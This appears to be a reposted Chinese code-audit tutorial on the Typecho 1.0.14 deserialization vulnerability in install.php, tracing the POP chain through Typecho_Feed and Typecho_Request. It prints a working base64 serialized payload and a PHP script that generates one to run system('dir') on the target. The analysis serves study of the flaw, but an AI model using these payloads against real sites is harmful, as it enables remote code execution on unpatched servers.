16-PHP代码审计——Typecho1.0.14反序列化漏洞

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了16-PHP代码审计——Typecho1.0.14反序列化漏洞相关的知识,希望对你有一定的参考价值。

        

Typecho是一个基于php5开发的开源博客cms系统,,在v1.0.14版本中存在反序列化漏洞,主要是install目录下的install.php文件内使用了unserialize函数反序列化,而Typecho_Cookie类的get()方法获取的__typecho_config参数存在一些危险可控的操作(调用了魔法函数),并且对__typecho_config参数没有任何过滤,导致可以通过pop利用链注入恶意的反序列化对象,执行任意php代码。

 

漏洞受影响版本:

Typecho_v1.0.14以下

环境:

php5以上

Typecho_v1.0.14.tar

poc:

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NdoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

 

开始漏洞分析

 

通过hackbar工具访问网址http://www.typecho.com/install.php?finish=a ,点击EXECUTE提交poc,如下所示:

 

提交后,网站返回的是phpinfo执行的页面,说明漏洞利用成功,如下所示:

现在我们分析一下这个漏洞是如何产生的。

 

根据访问的请求(http://www.typecho.com/install.php?finish=a)定位到install.php文件

install.php源文件首先接收了请求中的finish参数,然后校验了HTTP_REFERER字段,因此提交的请求中HTTP_REFERER字段不能为空。

 

接着执行了这段代码:

……
<?php if (isset($_GET['finish'])) : ?>
…...
//反序列化
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
//将反序列化后的config传给了Typecho_Db类
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);

Typecho_Cookie类获取了__typecho_config参数的内容并进行base64解密,又调用了unserialize函数对__typecho_config反序列化。

 

找到Typecho_Cookie类,分析Typecho_Cookie类的get方法做了哪些事情

public static function get($key, $default = NULL){
    $key = self::$_prefix . $key;
    //获取__typecho_config的内容
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] :    $default);
    //返回
    return is_array($value) ? $default : $value;
}

get函数主要是从cookie中获取到__typecho_config的内容并返回,由于cookie是可以更改的,这意味着__typecho_config是可控的。根据之前我们学习反序列化漏洞的原理可知,既然是反序列化操作,并且__typecho_config是可控的,下一步就是分析反序列操作中执行了哪些魔法函数。

 

反序列化后,config的内容如下:

config数组中的adapter元素其实是Typecho_Feed对象。

 

然后将反序列化后的config传给了Typecho_Db类,继续分析:

public function __construct($adapterName, $prefix = 'typecho_'){
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    //将adapter与字符串进行拼接
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

直接跳转到了Typecho_Db类的定义中,__construct构造函数对传入的参数进行初始化,在第三行代码中将Typecho_Db_Adapter字符串和变量adapterName进行拼接了,值得注意的是:此时adapterName是一个对象,换句话说,当把adapterName对象当作一个字符串进行拼接,那么就会调用该对象的__toString()魔法函数,并且由于adapterName可控,如果将adapterName指向一个类的话,那么就可能造成反序列漏洞。

 

在当前项目中查找哪些类调用了__toString,并有一些危险的操作,经过一番查找最终找到了Typecho_Feed类的__toString方法中有一个危险的操作:

public function __toString(){
	……
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
    ……
}

由于toString方法中的代码过多,这里只贴出部分关键代码,有一行代码访问了$item['author']->screenName 。根据前面的分析可知,$item是Typecho_Feed中的一个属性,$item的数据类型是一个数组并且可控的,那么$item['author']也是可控的,如果将$item['author']指向一个不存在screenName属性的类,那么$item['author']->screenName实际上是访问了一个对象中不存在的属性,这时候就会调用__get()魔法函数。

 

接下来pop漏洞利用链的方向就是需要找到一个没有screenName属性,并且调用了__get()魔法函数的类,最终找到Typecho_Request类。

 

这也是为什么提交的poc中要构造Typecho_Request类,继续跟进分析__get()函数

__get()魔法函数内部实际上是调用了get函数,既然参数key是可控的,那么value也是可控的,通过this对象的_params属性来访问screenName的内容,调用了_applyFilter函数。

 

跟进分析_applyFilter函数:

    private function _applyFilter($value) {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                //回调函数
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }
            $this->_filter = array();
        }
        return $value;
    }

实际上是调用了Typecho_Request类的_applyFilter函数,该函数内部调用了array_map函数和call_user_func函数,并将valueTypecho_Request对象的_filter属性作为参数(这两个参数都是可控的),并且这两个php内置的系统函数会自动为参数调用回调函数,filter是回调函数,value是回调函数的参数。

并且_applyFilter函数内部没有对value和filter做任何的过滤,最终导致漏洞产生。

 

到这里基本上pop链构造完毕,整个pop利用链流程如下所示:

 

下一步就是根据pop利用链编写poc代码了,如下所示:

<?php
class Typecho_Feed{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items;

    public function __construct(){
        //__toString函数检查
        $this->_type = self::RSS2;
        //触发__get函数
        $_item['author'] = new Typecho_Request();
        //触发错误
        $_item['category'] = array(new Typecho_Request());
        $this->_items[0] = $_item;
    }

}

class Typecho_Request{

    private $_params = array();
    private $_filter = array();

    public function __construct(){
        //回调函数的参数
        $this->_params['screenName'] = "dir";
        //回调函数
        $this->_filter[0] = "system";
    }
}

$data = new Typecho_Feed();
$poc = array(
    'adapter' => $data,
    'prefix' => "typecho_"
);

//序列化
$s = serialize($poc);
//base64编码
echo base64_encode($s);
?>

 

将程序生成的poc给__typecho_config,如下所示:

system(“dir”)函数执行把当前路径的文件都显示出来了,漏洞分析完毕。

 

参考资料:

Typecho-反序列化漏洞学习

[漏洞复现]typecho_v1.0.14反序列化漏洞

 

以上是关于16-PHP代码审计——Typecho1.0.14反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

07V8第27篇技术分享|简单代码审计带你基础入门XSS(完结)

e语言代码如何审计

代码审计那些代码审计的思路

当前市面上的代码审计工具哪个比较好?

代码审计思路之PHP代码审计

代码审计利器-Seay源代码审计系统